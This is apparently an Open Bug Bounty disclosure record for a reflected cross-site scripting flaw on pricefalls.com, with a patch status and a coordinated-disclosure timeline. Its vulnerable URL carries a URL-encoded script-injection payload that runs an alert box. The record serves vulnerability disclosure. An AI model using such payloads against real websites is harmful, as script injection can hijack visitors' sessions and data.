pricefalls.com XSS vulnerability

2015-07-16T23:51:00
ID OBB:73319
Type openbugbounty
Reporter tbm
Modified 2017-07-25T12:48:00

Description

Vulnerable URL:
https://www.pricefalls.com/search?q[]=asd%22%3E&store;_id=&fq;[category]=%22%3E%3C/script%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29;%3C/script%3E
Details:

Description| Value
---|---
Patched:| Yes, at 25.07.2017
Latest check for patch:| 25.07.2017 12:48 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 46926
Google Pagerank| 3
VIP website status:| Yes
Check pricefalls.com SSL connection:| (Grade: A)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability reported| 16 July, 2015 23:51 GMT
Vulnerability existence verified and confirmed| 16 July, 2015 23:54 GMT
Vulnerability patched by the website owner| 25 July, 2017 12:48 GMT